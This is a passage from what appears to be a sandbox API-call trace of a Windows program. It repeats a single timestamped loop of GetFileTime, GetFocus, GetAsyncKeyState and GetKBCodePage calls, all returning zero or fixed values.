lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.064] GetFocus () returned 0x0 [0250.064] GetAsyncKeyState (vKey=58) returned 0 [0250.064] GetKBCodePage () returned 0x1b5 [0250.064] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.064] GetFocus () returned 0x0 [0250.064] GetAsyncKeyState (vKey=58) returned 0 [0250.064] GetKBCodePage () returned 0x1b5 [0250.064] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.065] GetFocus () returned 0x0 [0250.065] GetAsyncKeyState (vKey=58) returned 0 [0250.065] GetKBCodePage () returned 0x1b5 [0250.126] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.126] GetFocus () returned 0x0 [0250.126] GetAsyncKeyState (vKey=58) returned 0 [0250.126] GetKBCodePage () returned 0x1b5 [0250.126] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.126] GetFocus () returned 0x0 [0250.126] GetAsyncKeyState (vKey=58) returned 0 [0250.126] GetKBCodePage () returned 0x1b5 [0250.126] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.127] GetFocus () returned 0x0 [0250.127] GetAsyncKeyState (vKey=58) returned 0 [0250.127] GetKBCodePage () returned 0x1b5 [0250.127] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.127] GetFocus () returned 0x0 [0250.127] GetAsyncKeyState (vKey=58) returned 0 [0250.127] GetKBCodePage () returned 0x1b5 [0250.127] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.127] GetFocus () returned 0x0 [0250.127] GetAsyncKeyState (vKey=58) returned 0 [0250.127] GetKBCodePage () returned 0x1b5 [0250.127] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.127] GetFocus () returned 0x0 [0250.127] GetAsyncKeyState (vKey=58) returned 0 [0250.127] GetKBCodePage () returned 0x1b5 [0250.127] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.127] GetFocus () returned 0x0 [0250.127] GetAsyncKeyState (vKey=58) returned 0 [0250.127] GetKBCodePage () returned 0x1b5 [0250.127] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.127] GetFocus () returned 0x0 [0250.127] GetAsyncKeyState (vKey=58) returned 0 [0250.127] GetKBCodePage () returned 0x1b5 [0250.127] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.127] GetFocus () returned 0x0 [0250.127] GetAsyncKeyState (vKey=58) returned 0 [0250.127] GetKBCodePage () returned 0x1b5 [0250.127] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.128] GetFocus () returned 0x0 [0250.128] GetAsyncKeyState (vKey=58) returned 0 [0250.128] GetKBCodePage () returned 0x1b5 [0250.128] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.128] GetFocus () returned 0x0 [0250.128] GetAsyncKeyState (vKey=58) returned 0 [0250.128] GetKBCodePage () returned 0x1b5 [0250.128] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.128] GetFocus () returned 0x0 [0250.128] GetAsyncKeyState (vKey=58) returned 0 [0250.128] GetKBCodePage () returned 0x1b5 [0250.128] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.128] GetFocus () returned 0x0 [0250.128] GetAsyncKeyState (vKey=58) returned 0 [0250.128] GetKBCodePage () returned 0x1b5 [0250.128] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.128] GetFocus () returned 0x0 [0250.128] GetAsyncKeyState (vKey=58) returned 0 [0250.128] GetKBCodePage () returned 0x1b5 [0250.128] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.128] GetFocus () returned 0x0 [0250.128] GetAsyncKeyState (vKey=58) returned 0 [0250.128] GetKBCodePage () returned 0x1b5 [0250.128] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.128] GetFocus () returned 0x0 [0250.128] GetAsyncKeyState (vKey=58) returned 0 [0250.128] GetKBCodePage () returned 0x1b5 [0250.128] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.128] GetFocus () returned 0x0 [0250.128] GetAsyncKeyState (vKey=58) returned 0 [0250.128] GetKBCodePage () returned 0x1b5 [0250.128] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.128] GetFocus () returned 0x0 [0250.128] GetAsyncKeyState (vKey=58) returned 0 [0250.128] GetKBCodePage () returned 0x1b5 [0250.128] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.128] GetFocus () returned 0x0 [0250.129] GetAsyncKeyState (vKey=58) returned 0 [0250.129] GetKBCodePage () returned 0x1b5 [0250.129] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.129] GetFocus () returned 0x0 [0250.129] GetAsyncKeyState (vKey=58) returned 0 [0250.129] GetKBCodePage () returned 0x1b5 [0250.129] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.129] GetFocus () returned 0x0 [0250.129] GetAsyncKeyState (vKey=58) returned 0 [0250.129] GetKBCodePage () returned 0x1b5 [0250.129] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.129] GetFocus () returned 0x0 [0250.129] GetAsyncKeyState (vKey=58) returned 0 [0250.129] GetKBCodePage () returned 0x1b5 [0250.129] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.129] GetFocus () returned 0x0 [0250.129] GetAsyncKeyState (vKey=58) returned 0 [0250.129] GetKBCodePage () returned 0x1b5 [0250.129] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.129] GetFocus () returned 0x0 [0250.129] GetAsyncKeyState (vKey=58) returned 0 [0250.129] GetKBCodePage () returned 0x1b5 [0250.129] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.129] GetFocus () returned 0x0 [0250.129] GetAsyncKeyState (vKey=58) returned 0 [0250.129] GetKBCodePage () returned 0x1b5 [0250.129] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.129] GetFocus () returned 0x0 [0250.129] GetAsyncKeyState (vKey=58) returned 0 [0250.129] GetKBCodePage () returned 0x1b5 [0250.129] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.129] GetFocus () returned 0x0 [0250.129] GetAsyncKeyState (vKey=58) returned 0 [0250.129] GetKBCodePage () returned 0x1b5 [0250.129] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.129] GetFocus () returned 0x0 [0250.130] GetAsyncKeyState (vKey=58) returned 0 [0250.130] GetKBCodePage () returned 0x1b5 [0250.130] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.130] GetFocus () returned 0x0 [0250.130] GetAsyncKeyState (vKey=58) returned 0 [0250.130] GetKBCodePage () returned 0x1b5 [0250.130] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.130] GetFocus () returned 0x0 [0250.130] GetAsyncKeyState (vKey=58) returned 0 [0250.130] GetKBCodePage () returned 0x1b5 [0250.130] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.130] GetFocus () returned 0x0 [0250.130] GetAsyncKeyState (vKey=58) returned 0 [0250.130] GetKBCodePage () returned 0x1b5 [0250.130] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.130] GetFocus () returned 0x0 [0250.130] GetAsyncKeyState (vKey=58) returned 0 [0250.130] GetKBCodePage () returned 0x1b5 [0250.130] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.130] GetFocus () returned 0x0 [0250.130] GetAsyncKeyState (vKey=58) returned 0 [0250.130] GetKBCodePage () returned 0x1b5 [0250.130] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.130] GetFocus () returned 0x0 [0250.130] GetAsyncKeyState (vKey=58) returned 0 [0250.130] GetKBCodePage () returned 0x1b5 [0250.130] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.130] GetFocus () returned 0x0 [0250.130] GetAsyncKeyState (vKey=58) returned 0 [0250.130] GetKBCodePage () returned 0x1b5 [0250.130] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.130] GetFocus () returned 0x0 [0250.130] GetAsyncKeyState (vKey=58) returned 0 [0250.130] GetKBCodePage () returned 0x1b5 [0250.130] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.131] GetFocus () returned 0x0 [0250.131] GetAsyncKeyState (vKey=58) returned 0 [0250.131] GetKBCodePage () returned 0x1b5 [0250.131] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.131] GetFocus () returned 0x0 [0250.131] GetAsyncKeyState (vKey=58) returned 0 [0250.131] GetKBCodePage () returned 0x1b5 [0250.131] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.131] GetFocus () returned 0x0 [0250.131] GetAsyncKeyState (vKey=58) returned 0 [0250.131] GetKBCodePage () returned 0x1b5 [0250.131] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.131] GetFocus () returned 0x0 [0250.131] GetAsyncKeyState (vKey=58) returned 0 [0250.131] GetKBCodePage () returned 0x1b5 [0250.131] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.131] GetFocus () returned 0x0 [0250.131] GetAsyncKeyState (vKey=58) returned 0 [0250.131] GetKBCodePage () returned 0x1b5 [0250.131] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.131] GetFocus () returned 0x0 [0250.131] GetAsyncKeyState (vKey=58) returned 0 [0250.131] GetKBCodePage () returned 0x1b5 [0250.131] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.131] GetFocus () returned 0x0 [0250.131] GetAsyncKeyState (vKey=58) returned 0 [0250.131] GetKBCodePage () returned 0x1b5 [0250.131] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.131] GetFocus () returned 0x0 [0250.131] GetAsyncKeyState (vKey=58) returned 0 [0250.131] GetKBCodePage () returned 0x1b5 [0250.131] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.131] GetFocus () returned 0x0 [0250.131] GetAsyncKeyState (vKey=58) returned 0 [0250.131] GetKBCodePage () returned 0x1b5 [0250.131] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.132] GetFocus () returned 0x0 [0250.132] GetAsyncKeyState (vKey=58) returned 0 [0250.132] GetKBCodePage () returned 0x1b5 [0250.132] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.132] GetFocus () returned 0x0 [0250.132] GetAsyncKeyState (vKey=58) returned 0 [0250.132] GetKBCodePage () returned 0x1b5 [0250.132] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.132] GetFocus () returned 0x0 [0250.132] GetAsyncKeyState (vKey=58) returned 0 [0250.132] GetKBCodePage () returned 0x1b5 [0250.132] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.132] GetFocus () returned 0x0 [0250.132] GetAsyncKeyState (vKey=58) returned 0 [0250.132] GetKBCodePage () returned 0x1b5 [0250.132] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, 